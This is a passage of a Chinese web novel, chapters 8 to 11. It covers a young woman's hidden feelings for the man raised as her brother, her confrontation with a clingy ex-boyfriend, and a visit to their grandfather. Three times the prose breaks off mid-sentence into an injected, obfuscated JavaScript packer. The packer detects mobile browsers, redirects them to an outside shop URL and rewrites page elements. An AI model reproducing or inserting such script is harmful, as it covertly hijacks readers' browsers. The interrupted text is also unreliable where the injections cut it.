和父母一块看亲热戏,简直可以列为二十一世纪十大酷刑之一了,好不容易挨过这段热吻,时予安刚把手机搁下,结果一转眼,两人又亲上了。 陈词麻了:他俩还要亲几次? 时予安绝望地回:哥,咱家网线真的不能莫名其妙断了吗? 陈词:…… 两人尴尬地脚趾扣地,李媛倒是看得很投入,她是那种做什么事情都很认真的人,余光瞥见俩孩子也不看电影,一直低头抠手机,她眉头微拢,不满道:“看电影就好好看。” 手机同时被两人倒扣在膝盖上。 李媛转头看他们一眼,“不就是接个吻吗,这种尺度的你俩都看不了?年纪轻轻的,怎么一个比一个保守。” 话音刚落,电影里的两个人滚到了床上。 时予安:“……” 陈词:“……” 陈词腾地一下站起来,“突然想起来有个会要准备,妈,您和念念慢慢看。” 时予安紧跟着弹起来,“我、我也想起来有个意见书还没写,我先上楼了,妈妈您继续看。” 李媛看着一左一右迅速撤离的背影笑骂了一句,继续往下看。 时予安跟着陈词一口气跑上二楼才喘息着缓下脚步,陈词跟着放慢步伐,侧头瞥她一眼,“早听我的搜搜剧透多好。” 时予安揉着发烫的脸颊后悔死了,“我哪知道会这样啊,说两句就要亲……” 陈词推开客房,示意她进去,时予安走到靠窗的软榻坐下,陈词来到矮柜旁,拉开抽屉,从里面取出一个深蓝色丝绒盒。 “什么东西?”时予安问。 “礼物,”陈词把盒子递给她,时予安拿在手里,沉甸甸的很有分量。 陈词在她对面坐下,“拆开看看喜不喜欢。” 时予安默默坐了一会儿,把盒子递回给他,“你帮我拆。” “懒死你得了,”陈词嘴上嫌弃,手却很自然地接过来。他低头拆包装的时候,时予安便低头看着他,听见他说:“对了,你暗恋的那男的……” 时予安:“嗯?” “趁早别喜欢了。”陈词解开丝带,略带点别扭的说。 “为什么?”她声音轻轻的。 “他不是不喜欢你么,说明这人眼光有问题。”陈词掀开盒盖,灯光落进去,映出一块珍珠母贝表盘的腕表,光泽细腻得像月光,时予安只看了一眼就喜欢上了,嘴角弯起来,笑着说好。 陈词:“嗯?” “那就不喜欢了,”时予安迎上他的目光,温声道:“我听你的,哥哥。” 陈词挑眉,“这么听话?” 时予安点点头。 陈词心情没来由变好,连带着方才心里那点莫名的别扭劲儿也散了,“听我的就对了,这世上只有两个男人不会害你,一个是我,一个是爸爸。手伸出来,帮你戴上。” 时予安朝他伸出左手。 金属表链沁着凉意,陈词托住她的手腕,就在他要将表扣上的前一秒,时予安看见他忽然收拢五指,把整块表握在自己的掌心里,停顿了大约两三秒,他才展开手掌,仔细地将表带绕过她的腕骨,“咔哒”一声轻响,表扣合拢,带着他的体温,优雅地贴合在她腕间。 时予安在他完成这个动作的同时,猛地转开了脸。夜色浓重,玻璃上模糊地映出两人的影子。 这些年,他们每一次分别,好长一段时间不联系,时予安都觉得自己可能没那么喜欢他了,然而每次只要他一回来,时予安就觉得自己做了那么多努力都是白费、徒劳。 心脏在胸腔里毫无章法地冲撞着,撞得她鼻尖发酸,眼眶发热。 她想,陈词,你这样,我怎么能不喜欢你? 9. 第 9 章 两部手机在口袋里同时嗡嗡嗡震动,不用看也知道是群里的消息,一帮人张罗着要给陈词和念念接风,艾特他俩问明晚有没有空。 陈词回:有空。 许归忆:念念呢? 陈词:她也有空。 许归忆:[ok/] 时予安看见消息,撇撇嘴,“你回得倒是挺快,问过我有没有空吗?” 陈词一听就知道这祖宗偶尔喜欢作一作的老毛病又犯了,瞥她一眼,问:“你没空?” “有。”时予安盘腿坐在榻上,把玩着手表盒。 “那不就得了。不出意外,咱俩明天行程应该一样,早上去看爷爷,陪他老人家吃顿午饭,下午回市区的家。” “回市区家前我得先去见苏洋,他约我明天下午两点见面,谈分手的事。” “他约你在哪见?” 时予安把手机递过去,给陈词看苏洋发过来的定位,陈词沉默了一会儿,说:“这样,爷爷那边咱改中午过去。他不是要当面谈才答应分手么,让他明天早上来家里找你谈。” “来这里?” “对。” “为什么?”时予安下意识有些抗拒,私心不愿意把外人带到家里来。 “一个分手拖了三个月都不肯松口的男人,谁知道他为了复合会做出什么事。”陈词顿了顿,“你要是不想让我和妈看见,约他在警卫室门口谈也行。” 时予安心说哥你想多了,能出什么大事,但也没反对,让苏洋来这边也好,省得她跑一趟。 “行,我跟他说。” 陈词又问:“自己能处理?需不需要我帮忙?” “不需要啊,”时予安觉得他小题大做,“分个手而已,又不是什么大事,就不劳烦您啦。” “也是,毕竟是甩过五任男友的人,这方面你比我有经验。”陈词嬉皮笑脸地说。 “哥!”时予安瞪他。 “干嘛,还不让说了?”陈词推开客房门,见她真有些不高兴了,笑着投降:“好好好,不说了。回去睡你的觉吧,我也回屋了。” 时予安抓起表盒往自己房间走,刚到门口,右眼皮突然毫无预兆地狂跳起来。 等等—— 卧室? 坏了!时予安总算想起来自己没办的大事是什么了。 她火急火燎掉头,蹭蹭蹭往回跑,一边跑一边喊:“哥!哥哥哥哥哥哥哥——!!!” 可惜还是晚了一步,时予安赶到时,陈词背对着她站在卧室门口,整个人像被施了咒般,已经一动不动了。 完蛋了,时予安脑海中不断闪过这三个字。 “幻觉,一定是幻觉……”陈词颤巍巍地把门带上,垂死挣扎的模样看得时予安这个罪魁祸首都有点心酸了。 深呼吸,保持微笑,陈词再次拧开门。 暖黄的灯光从他身后漫出来,照亮了屋内景象——床上、椅子上、地毯上,但凡肉眼能看到的地方都堆满了小马宝莉的玩偶,紫悦、云宝、柔柔、穗龙……还有一只巨大的碧琪坐在他床中央,用它那标志性的微笑深深注视着他。 陈词两眼一黑,深吸一口气默念:稳住,不要慌,忍一时风平浪静,退一步海阔天空,心态要平和,心胸要宽广,心地要善良……她打小就这样,习惯就好,真的,习惯就好了。 我习惯……我、习、惯、了! 时予安扒着门框缩在一旁,看着陈词双手在身侧拢拳,松开,又拢拳,又松开,反复几次后,她忍不住伸出食指,小心翼翼地戳戳他肩膀,“哥……你还好吧?” 陈词面无表情地侧过头,“你说呢?” 时予安讪讪:“看起来,不太好。” 陈词抬手一指卧室,“给我一个放过你的理由。” “我只是想给小马们一个家……”她小声道。 “所以你就把我的卧室改造成了现实版小马谷?”陈词朝她逼近两步,时予安向后躲了躲,想解释:“你平时不在家嘛,我就稍微占用了一下下,爸爸妈妈都同意了的。本想着在你过年回来之前就收拾干净,谁知道你突然回国,搞得我一点儿准备都没有!” 说着说着她还来劲儿了,陈词打断她的强词夺理,语气冷冷:“怪我?” 时予安缩了下脖子,乖乖认错:“怪我,怪我。” 她哥不光有轻微洁癖,还有一点强迫症,这她是知道的。她抬头飞快瞟了陈词一眼,发现他这会儿脸色实在称不上好。 时予安忐忑不安地等候发落,等了好一会儿,陈词一直冷着脸没说话。这时,低低的交谈声突然从楼下传来,两人同时看过去,时予安猜是父母上楼了。 太好了,救星来了! 时予安心头一喜,抬脚就朝楼梯口跑,同时张嘴:“妈——唔!” 一只温热宽大的手掌以迅雷不及掩耳之势捂住时予安的嘴,将她未喊完的呼救堵了回去。下一秒,陈词揽住时予安的腰,使了个力道往后带她一把,时予安踉跄着被他推进堆满小马的卧室。 “砰!”门被陈词反手关上,隔绝了走廊的光线和父母的视线。时予安反应过来发生什么的时候,后背“咚”地一声被陈词抵在了冰凉的墙面上。 两人挨得实在太近了,近到时予安能清楚地闻到他身上深深浅浅的香气。家里的沐浴液和洗发水是母亲买的,他们用的是同一款,身上味道一模一样。 高大的身影笼罩下来,将她完全困在方寸之间,陈词一只手仍捂着她的嘴,另一只将她手腕牢牢钉在墙上。他体温一直比自己高,透过薄薄的衣料传递过来,存在感强得令人心慌,时予安试着挣了一下,扣在她腕上的力道蓦然加重。 “哥……” “还跑不跑?”陈词居高临下地垂眼望她,语带威胁。 时予安连忙摇头,皱着小脸含含糊糊地说:“疼……哥,你弄疼我了。” “哪儿疼?” “背疼。” 陈词带着气音笑了声,“别这么娇气,小祖宗,再演就过了。” 把她按到墙上的时候他用手在她背后垫了一下,压根儿磕不着。 时予安眨了眨眼。 “刚才喊妈做什么,是不是想恶人先告状?时念念,你本事见长啊,闯了祸还敢跑? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025685|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 时予安继续摇头。 房间静下来,卧室灯关着,很暗,月光从窗帘缝里漏进来,薄薄一层铺在地板上,两个人的眼睛在昏暗中对视。陈词盯着她看了几秒,听她低低叫了声哥,嘴唇一张一合,软软的触感蹭着他掌心的皮肤,那一瞬间,陈词心头滚过一股难辨的异样滋味。 他后知后觉地意识到,两人现在的姿势对于一对成年男女来说,似乎有点过于亲密了。 陈词慢半拍地松开捂着时予安嘴巴的手,想往后退开,可就这么收了手,未免太便宜她,不收拾一下她要上天。 陈词低头看向女孩红扑扑的脸蛋,月光朦朦胧胧地映在上面,像抹了一层薄薄的釉。看着看着,忽然很想捏一把。 陈词这么想着,也这么做了,捏住她一边脸颊软肉。 “疼疼疼,哥你轻点……”时予安软声讨饶,握住陈词屈起的胳膊肘想让他撤几分力气。 “说,错了没?” “错了错了,我保证,以后再也不敢了。”时予安顺着陈词胳膊肘摸索到他手腕,讨好地用拇指指腹蹭了蹭那块凸起的腕骨,像是无声示弱。 陈词动作一顿,一个模糊的画面掠过脑海,他觉得自己有点不太对劲,几乎是下意识地松了手,往后连退几步。 距离骤然拉开,陈词不自然地偏过头咳了两声,“给你一晚时间,带着你的小马离开我房间。” 时予安搓着被捏的脸颊,“嗯嗯”应着,还想说点什么,陈词已经转过身,拉开门,头也不回地出去了。 时予安靠在墙上,抬手碰了碰还在发烫的脸颊,又轻轻摸了摸嘴唇,那里似乎还残留着哥哥掌心的温度。 砰砰砰,心跳快得不像话。 她抱起玩偶回到房间,一夜辗转,睡不安稳,只是她不知道,那一晚,陈词同样没睡好。 他做了个混乱而黏腻的梦。 梦里没有具体场景,也没有对话,只有昏暗的光线,急促交错的喘息,和一双近在咫尺的、泛着水光的眼睛。 即使看不清脸,他也知道清楚地知道那是谁。 手上柔软的触感异常真实,不再是隔着衣料,而是毫无阻隔地直接贴合,他甚至能感受到细腻皮肤下细微的战栗。 梦里他什么都没说,她也是。 凌晨三点,陈词在一阵燥热和强烈的心悸中猛地惊醒,梦里那些画面一股脑涌进脑海,随之而来的是一股难以置信的自我怀疑。 陈词坐起身,用力掐了掐眉心。 荒谬。 太荒谬了。 怎么会做这种梦? 他想不明白,思索间发现梦里有些画面竟然和晚上看的那部电影重叠起来——对了,电影! 一定是因为睡前看了那部该死的电影,其中某些情节潜移默化地影响了他的潜意识,才催生出这样一个扭曲又荒唐的梦。 对,没错,一定是这样。他把这场梦归结于电影的影响。 掀开被子去浴室,陈词在蒸腾而起的水汽里无声骂了句“操”。 男人果然没一个好东西。 他也不例外。 10. 第 10 章 说起时予安和苏洋,两人确实谈过一段,这关系乍一听挺亲密的,其实压根儿没多熟,像对方的脾气、品性、喜好这些东西,她都不了解。 为什么,因为两人在一起太快了呗。 时予安第一次遇见苏洋,是在酒吧,他抱着把吉他在台上唱歌,客观讲,苏洋长相挺对她胃口的,所以当他唱完歌下台跟她要微信时,她没拒绝,俩人你一句我一句地聊上了,不到一周,苏洋发来微信:予安,我喜欢你,你愿意当我女朋友吗,咱俩在一起试试? 时予安对着手机屏幕发了会儿呆,回了个“行”。 试试就试试吧,反正这些年她一直在试,试完这个试那个,像上了发条的机器,火急火燎地开始一段关系,又火急火燎地结束。她以为只要不停地找,总能遇见生命中那个“对的人”,让她放下心里那个得不到的。 可惜她运气不好,回回都失败。 夜深人静的时候,时予安经常盯着天花板发呆,想她这辈子是不是就这么着了? 被那样一个人捧着、哄着长大,让她怎么轻易爱上别人? 被那样一个人疼爱过、宠惜过,把眼光养得又刁又高,再看旁人,就总觉得差点意思,不是这儿不对,就是那儿不合。这些倒还其次,最要命的是,她对其他人没有一点心跳加速的感觉,所以每段恋情总是不了了之,跟苏洋这段,也不例外。 这次约他见面,时予安是想和他好好谈谈,把话摊开,体面地结束这段关系。 她踩着点到,远远瞧见苏洋站在门禁外面,低头看手机,抬眼看见她时,脸上立刻堆起哀哀的神情。 走近,还没来得及张嘴,接下来发生的一幕让时予安头皮都炸了。 苏洋膝盖一弯,直挺挺地给她跪下了! 时予安惊得连退两步,苏洋跪着往前挪,死死拽住她羽绒服下摆,“予安你别走……” 岗亭值班的警卫注意到这边的动静,小跑过来,关切地问:“时小姐,需要帮忙吗?” 时予安臊得不行,连连摆手:“没事儿,您回去吧,我自己能处理。” 警卫打量苏洋一眼,点头:“有需要您随时招呼我们。” “谢您。”时予安道完谢,这才蹙眉看向苏洋,低斥:“疯了吧你!还不快起来?”大庭广众的闹这出,这不是摆明了让她难堪吗? “予安,不分手行不行,我不能没有你……”苏洋跪在她面前,低声下气地恳求:“我们之间是不是有什么误会?为什么突然要分手,是不是我哪里做得不好,你告诉我,我可以改,真的,为了你我什么都愿意改!” “你先起来,”时予安耐着性子,试图把衣角从他手中抽出来,“你这样我们没法谈。” “我不起来!”苏洋攥得更紧了,“你不答应我就不起来!” 时予安最讨厌被人道德绑架,冷笑一声:“苏洋,你是不是觉得当众下跪求复合特深情,特感人?” 苏洋一愣。 “可我只会觉得特可怕,一个膝盖没脸皮硬、动不动就扔掉尊严跪下来要挟别人的男人,谁敢要?”说完猛地一挣,终于将衣角从他手里抽了出来。 这件衣服不能要了,时予安嫌弃地想。 “随你怎么说,”苏洋跪在地上梗着脖子,“反正你不答应我,我就跪在这里不起来。” “我不答应,你就不起?” 苏洋点头。 “确定?”她问。 “确定!” “成,那您在这里慢慢跪着吧。”时予安拍拍衣角,转身就走,“拜拜了您。” “哎!予安!”苏洋一下子爬起来,慌慌张张挡住她去路,“你别走!” “不是说不起来么?”时予安抱臂,眼神讥诮。 “我……”苏洋下意识想抓她手腕,被她冷冷一扫,又讪讪地缩了回去。 “予安,你离开这几个月我没睡过一个好觉,我很想你,不分手好不好,我真的不能没有你,没你我活不下去……” “那你去死啊。”她轻飘飘地接了一句。 苏洋话音一顿,嗫嚅着:“你、你怎么能这么说话?” “那我该怎么说话?”时予安平静地看着他,“你说不接受微信分手,好,我尊重你,当面过来跟你说清楚。苏洋你听好,我们早就结束了。” “我不同意!”苏洋突然情绪激动起来,吼道:“我不同意分手!” “我管你同不同意,”时予安烦道:“谈恋爱在一起需要俩人都同意,但是分手这事儿,一个人说了就算。你不是三岁小孩了,这么简单的道理你不懂?” 苏洋胸口剧烈起伏。 时予安看着他,“我耐心有限,你还有什么想说的?没有我回去了。” 苏洋像是被她话里的决绝刺痛了,盯她半晌,恨恨吐出两个字,“人渣。” 时予安挑了挑眉。 他又重复一遍,“人渣!” “我人渣?”时予安慢条斯理地反问:“我一没骗钱,二没骗身,分手前还把你送我的那些东西打包还给你了,我渣在哪儿了?” “你欺骗我感情!”苏洋怒吼。 “感情?”时予安好似听到什么笑话,眉眼弯了弯,问:“我们之间有过感情吗?” 苏洋哑住了。 时予安冷嗤:“别摆出一副受害者的姿态给我看,这招对我没用。在一起之前我怎么跟你说的,需要我再跟你重复一遍?” 她语速不快,却字字咄人:“我是不是跟你说过,我心里有个不可能在一起的人,你要是不介意,我们可以相处试试,你要是介意,趁早别浪费彼此时间,是你自己说没关系,不介意,愿意等的,你还说你会努力让我放下他,爱上你。事实证明你没本事让我爱上你,现在还想倒打一耙怪我渣?苏洋,我发现你不光人品堪忧,脑子也不太好使啊。” 是,她说得没错,在一起之前她就说了,她有喜欢的人,但是出于某些原因不能在一起,她还说她谈过好几段恋情,都没办法放下那个人,这些他不是不知道,可他以为自己会是与众不同的那一个,他以为自己能走进她心里。 “时予安,你这个人没有心!我对你那么好,我给你买名牌包,买项链、买手链,我尽我所能给你最好的,我在你身上花了那么多钱,最后换来你这么对我?” “你要和我掰扯这个?”时予安这次是真的笑出了声,“你是不是忘了,当初你在酒吧得罪了人,对方扬言要卸掉你一条胳膊,是谁出面帮你摆平的?你现在这份工作,是谁牵线搭桥帮你争取的?至于你送我的那些礼物,我后面是不是有回礼,需要我把购买记录找出来,一笔一笔跟你对清楚吗?” 苏洋一抖,像被掐住喉咙说不出话来了。 “怎么,现在还觉得我对不起你吗?”时予安轻声问。 她的确没对不起他,甚至很多时候是他占了便宜,正是因为这样他才不愿意放手!时予安人长得漂亮,虽然不清楚她家具体是做什么的,但从她衣着打扮、言谈举止就能看出来,绝对不是普通人家,如果能牢牢抓住她,他苏洋的人生至少能少奋斗二十年,他怎么会错过这个机会? 苏洋这么想着,声音不自觉低下来,开始打感情牌:“予安,你知道的,我那么喜欢你——” “所以我就必须喜欢你?必须和你在一起?”时予安打断他,“不好意思,喜欢我的人多了去了,按你的逻辑,我是不是得挨个喜欢回去才算对得起他们啊,这才是人渣吧?” 苏洋脸颊发青,嘴唇抿得死紧,时予安盯着他,说:“你为什么拖着不分手,原因我大概能猜到几分,是觉得分手费不到位?” “你胡说什么!”苏洋像被踩了尾巴,“根本不是钱的事儿!” “哦?那是为什么?” “你从头到尾,一点都没爱过我吗?”他问。 “对,我不爱你。怎么了?难道你就很爱我?” “我当然爱你!”苏洋急道。 “别,别玷污爱这个字,也别说你爱我,我听着恶心,”时予安嫌恶地皱眉,“你,一个不关心我性格、想法、三观,只关心我家境、身材、脸蛋,整天琢磨着怎么把我往床上带的人也配说你爱我?一个背着我和其他女人撩骚,上床出轨的男人也配说你爱我?” 最后那句话一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025686|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,苏洋脸色骤变,猛地提高音量,“你血口喷人!!我什么时候出轨了,你有证据吗?!!” 时予安笑了下,“苏洋,你忘了我是干什么的了?我是律师,律师最擅长的就是搜集证据,我没戳穿你,是给你留脸面,你不要,我也没办法。我提示一下,10月17号、25号、11月8号、14号,你在国贸酒店都做了什么?” 苏洋脸一阵红一阵白,被戳破的羞耻瞬间转化为恼羞成怒:“我为什么出轨?还不是因为你!你他妈根本不让人碰,我有什么办法?我第一回亲你,嘴还没碰上呢,你他妈反手给我一耳光!谁家女朋友像你这样?!我他妈从小到大没谈过这么憋屈的恋爱!!” 男人总是善于把错处转嫁到对方身上,时予安听完,缓缓开口:“苏洋,我最后跟你解释一遍,第一,我扇你那一巴掌完全是条件反射,当然,这件事本来就是你的错,谁让你不经过我同意就凑上来想亲我,挨打也是你活该。第二,谈恋爱之前我是不是明确告诉过你,在我没喜欢上一个人之前,非常讨厌对方跟我有任何肢体接触,是谁信誓旦旦地说‘没问题,我尊重你’,我们才在一起的?第三,两周不跟你接吻,不跟你上床就能把你憋到出轨?苏洋,别找借口了,出轨就是出轨,管不住下半身的男人和畜生有什么区别?” “时予安!”苏洋暴跳如雷,指着她鼻子骂:“你他妈给老子搞搞清楚,你是老子女朋友,老子亲你还得经过你同意?” “啪!!!” 时予安干脆利落地反手扇了他一耳光,苏洋猝不及防被打得头歪向一边。 时予安揉着手腕,“呸!我还是你老子呢!你再指着我说一个老子试试?不给你点颜色瞧瞧你当姑奶奶是个好脾气的?” 苏洋直接被扇懵了,没料到这姑娘真敢动手。 时予安打完才慢悠悠道:“苏洋,拜托你也搞搞清楚,谁告诉你,谈恋爱意味着自动放弃身体自主权?意味着你可以随便亲我?我告诉你,根据《中华人民共和国刑法》第二百三十六条,违背妇女意志,使用暴力、胁迫或者其他手段强行发生性关系,构成强.奸罪!婚姻关系不是强.奸罪的豁免理由,同样,恋爱关系也不是你可以对我为所欲为的豁免理由。” 苏洋被她怼得哑口无言,红着半边脸,拳头攥得咯咯响,“时予安,你有种,你这么玩我,不怕我报复你啊?” 时予安心想,靠,还真让她哥说中了。 “怎么,你还想拿刀捅我啊?别傻了,看见他们没有?”她往后一指站岗的持枪士兵,轻声:“你以为他们端着枪是吓唬你的?那可都是真枪实弹,你信不信,你前脚敢拿刀捅我,他们后脚就敢拿枪崩了你。要试试是你手速更快,还是子弹更快吗?” 苏洋瞪着她没有动。 “我给你分手费,是花钱买个清净,你若执意纠缠下去,别怪我不客气。”时予安眼神冷下去,“该说的我都说完了,再见。” 时予安不再看他,经过岗亭时同警卫打了个招呼,苏洋恨恨地盯着她的背影,牙齿都快咬碎了,低声道:“时予安,你等着!” 这边,李媛端着热好的牛奶从厨房出来,瞧见时予安哼着歌从外头进来,心情很好的样子,她问:“这大清早的,你出去干嘛了?” 时予安不想让母亲知道苏洋那档子破事,编瞎话:“没干嘛,出去跑了两圈,透透气。” “呦,”李媛稀奇地问丈夫:“文泓,你帮我瞅瞅今儿太阳是不是打西边出来的,奇了怪了,兄妹俩跟商量好了似的齐齐抽风。” 时予安正弯腰换鞋,闻言动作一顿,“哥怎么了?” 李媛朝楼上努努嘴,“你哥在书房抄佛经呢,听说抄了大半宿,叫他下来吃饭也不吃。” “抄佛经?他有什么想不开的要抄佛经?”时予安想上去看看,被母亲拦住,“别上去,你哥说了,到点去看爷爷了他自然会下来,期间谁都不许进去打扰他,尤其是你。” “我?还尤其是我?”时予安挺冤枉,“我招他惹他了?” 难道是因为她把小马宝莉玩偶堆他卧室那事儿? 天爷,气性可真够大的。 11. 第11章 上午十点,桌上经文摞了厚厚一沓,陈词搁下毛笔,心如止水地开门,心如止水地下楼,心如止水地叫上念念,开车前往庭西山。 庭西山藏在四九城远郊,是个闹中取静、依山傍水的好地界儿。早年规划的时候,政府特意在这里划了一片别墅区,专供退下来的老同志颐养天年,里面统共不到百户人家,清净得很。 沿山道缓缓往上,远远瞧见一位老人背着手,溜溜哒哒地踱过来,是许归忆的爷爷,也是从小看着他们长大的。 陈词轻点刹车靠边停下,时予安解开安全带,两人一左一右下车,规规矩矩站定,打招呼:“许爷爷好。” “哎,是小词和念念啊。”许褚渊见两个孩子特意下车来问好,眼里隐隐有赞许之意。现在的年轻人大多心浮气躁,能守这份规矩礼数的不多了。 “来看你们爷爷?”许褚渊和蔼地问。 “嗯。”时予安应着,陈词接话:“您和奶奶身体都还好?” “好,好着呢。”许褚渊乐呵呵点头,“快过去吧,去晚了你爷爷又该挑理了,有空来家里玩儿。” “好,许爷爷再见。” 车子重新发动,兄妹俩踏进屋时正好碰见老爷子的保健医生从楼上下来,对方看见他俩,笑笑说:“快上去吧,老爷子今天精神头不错,等你们有一会儿了。” 陈词的车一驶入庭西山大门,警卫那边就报了信,陈秉颂得了消息,便一直在书房等他们。 上楼前,时予安从口袋里摸出手机静音,陈词侧头看她一眼,时予安解释道:“上次来看爷爷忘记关静音了,正陪他说着话呢,不知道谁给我连发了一长串消息,提示音响得跟放鞭炮似的,爷爷脸拉得老长,吓得我差点把手机从窗户缝扔出去。” 陈词低笑:“不应该啊,怎么会犯这么低级的错误?” “甭提了,那天没睡醒,迷迷糊糊就来了。”时予安悄悄叹气。每次来爷爷这儿,她都得提前半天做心理建设。记得前几年奶奶还在的时候,老爷子还不这么严厉,自从奶奶走了,老爷子愈发深居简出,脾气也愈发不好,眯着一双锐利的眼睛盯着他们时,仿佛什么都瞒不过他老人家,说实话,时予安挺怕他的。 推开书房厚重的木门,陈秉颂正坐在宽大的书桌后看报,听见动静,摘下老花镜看了过来,目光先是在陈词脸上顿了顿,随即落到时予安身上,微微颔首,“来了。” 兄妹俩先是陪着老爷子聊了会儿家常,又问了问身体,茶过两巡,陈秉颂嗓音沉缓:“有些话,老生常谈了,我知道你们不爱听我唠叨,但该嘱咐的还得嘱咐,你们俩平时在外头,言行举止需格外谨慎,现在正是关键时期,不要给你父亲添不必要的麻烦,依你父亲的能力,还能再往上走一走。” “是。” “小词,六年前我问你,有没有走仕途的打算,你说没有,现在爷爷最后问你一次,有没有走仕途的打算?” 陈词往茶壶上浇着热水,“没有,爷爷。” 时予安看向陈秉颂,他脸上的表情看不出是失望还是其他,半晌,他点了点头,缓慢地说:“不走,也好。条条大路通罗马,国家建设,不只在庙堂之上,各有各的战场,各有各的贡献。”说完,他目光转向时予安,“念念。” “在,爷爷。” “听你爸爸说,这次回来准备找工作了?” 时予安点头。 “有没有考虑进公检法系统?”陈秉颂问,眉毛下的眼睛注视着她。 时予安沉吟一瞬,答:“暂时没有。” “暂时没有,”陈秉颂缓缓重复了一遍,“也就是说以后可能会有?” “是的爷爷。”时予安坦诚道,以后会发生什么,谁也想不到,说话还是给自己留点余地好。 陈秉颂不再多言,轻轻“嗯”了一声。 “哥哥!”一声清脆的呼唤,是小叔家的陈亭曦,“哥哥你回来啦!”她飞扑进来抱住陈词,陈词被她撞得晃了晃,给人拎开,失笑:“多大人了,还这么毛毛躁躁,没看见你姐姐?” 陈亭曦这才不咸不淡地瞥了时予安一眼,“时姐姐。” 陈亭曦从小就这么叫她,一个“哥哥”,一个“时姐姐”,一字之差,只为了提醒她不是陈家的人。 时予安扯了扯嘴角。 陈亭曦注意力全黏在陈词身上,抱着陈词胳膊撒娇,“哥哥,你这次回来给我带礼物没有,之前说好的。” 陈词把胳膊抽出来,“带了,下楼拿给你。” 他给陈亭曦带的礼物也是一块手表,盒子打开的一瞬间,时予安脸色顿时沉了下来。 那块表,和她手上戴的一模一样。 “哇!好漂亮!”陈亭曦喜滋滋地拿出手表,让陈词帮她戴上,陈词说了什么,时予安没听清,耳朵里咕嘟咕嘟的,全是心底泛上来的酸泡泡。 一顿饭吃得味同嚼蜡,陈亭曦不知和爷爷说了什么俏皮话,逗得老人家忍俊不禁,陈词时不时看看时予安,后者全程闷声不吭,低着头,一口一口地往嘴里塞饭,像在跟谁赌气。 “念念,怎么了?”陈词低声问。 时予安不说话。 陈词再看她两眼,心里就有数了,这姑娘百分百生气了。 时予安面对陈词时,生气往往都是很明显的,她不屑偷偷赌气,那样很不大气,既然要生,就要摆在明面上生,用陈词的话说就是甩脸子。 只是今天这气在陈词看来,实在有些莫名其妙,让他一时摸不着头脑。 饭后,爷爷照例回房午睡,陈亭曦也回房间了,陈词在楼梯拐角处伸手拦住了正要上楼的时予安。 “说吧,祖宗,我又怎么惹你了?”陈词背靠着扶手问。 时予安别开脸,硬邦邦地回:“没有。” “没有你甩脸子给我看?”陈词也不恼,拿手机黑着的屏幕当镜子举到她面前,“不信你自己瞧瞧。” 时予安拍开他胳膊,“就是没有!” 陈词目光一顿,定在她空落落的腕上,“你的手表呢?” “扔了。” “别赌气,好好说话。” “就是扔了!” “扔哪儿了?”他问。 “垃圾桶。” “成。”陈词直起身往楼下走。 时予安一愣,下意识追了一步,“你去哪儿?” 陈词头也不回,“我去翻垃圾桶。” “哎——”时予安急了,几步追下楼梯拉住他,“你有病啊,翻什么垃圾桶!” 陈词停下,平静地看着她,耐心十足,“现在可以好好说话了?” 时予安咬着下嘴唇,良久,点头。 “好,我现在重新问,你的手表呢?”陈词语气很温和。 “……我摘掉了。”时予安声音闷闷的。 “为什么突然摘掉?” “我不喜欢。”她说。 陈词戳穿,“你昨晚明明还很喜欢,看见它的第一眼,眼睛都亮起来了。” “我昨晚喜欢,今天不喜欢了,不行吗?”时予安执拗反问。 “行,怎么不行,”陈词依旧好脾气,“但是念念,你和我心里都清楚,这不是真正的原因。” 时予安睫毛煽动了下,陈词微微俯身,让视线与她平齐,“你得告诉我,你为什么生气,我以后才能注意,才能避免,对不对?” 没有人抵挡得了陈词用这般温柔哄人的语调跟她讲话,时予安更加抵挡不了,“我不喜欢,你送我的礼物……和送陈亭曦的一样。” 说完,时予安并没有经历等待答案出来时那几秒钟的忐忑不安,因为陈词的回答没有犹豫,他说:“好,我知道了,是我考虑不周,我保证,以后绝对不会再出现这种情况。” — 午睡醒来,小辈们陪爷爷在院子里听《锁麟囊》,听的是春秋亭那一折。陈秉颂半眯着眼,手指在膝上有一搭没一搭地敲着拍子,时予安不爱听戏,被太阳暖烘烘地晒着,昏昏欲睡,陈亭曦趁爷爷不注意偷偷溜回房间玩手机。 “念念,听亭曦说,你又散了一个?”陈秉颂忽然开口。 时予安一个激灵清醒了,坐直了身体,“爷爷,您消息可真灵通,是又散了一个。” “为什么?”陈秉颂目光沉甸甸地压在时予安身上,“这么多年,我就没见你和哪个男生正正经经,长长久久地处下来过,你跟爷爷说实话,你是谈恋爱呢还是闹着玩儿呢?” “我没玩儿,”时予安盯着自己手指,“就是…不合适,就分了。” 陈秉颂这回没像往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025687|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 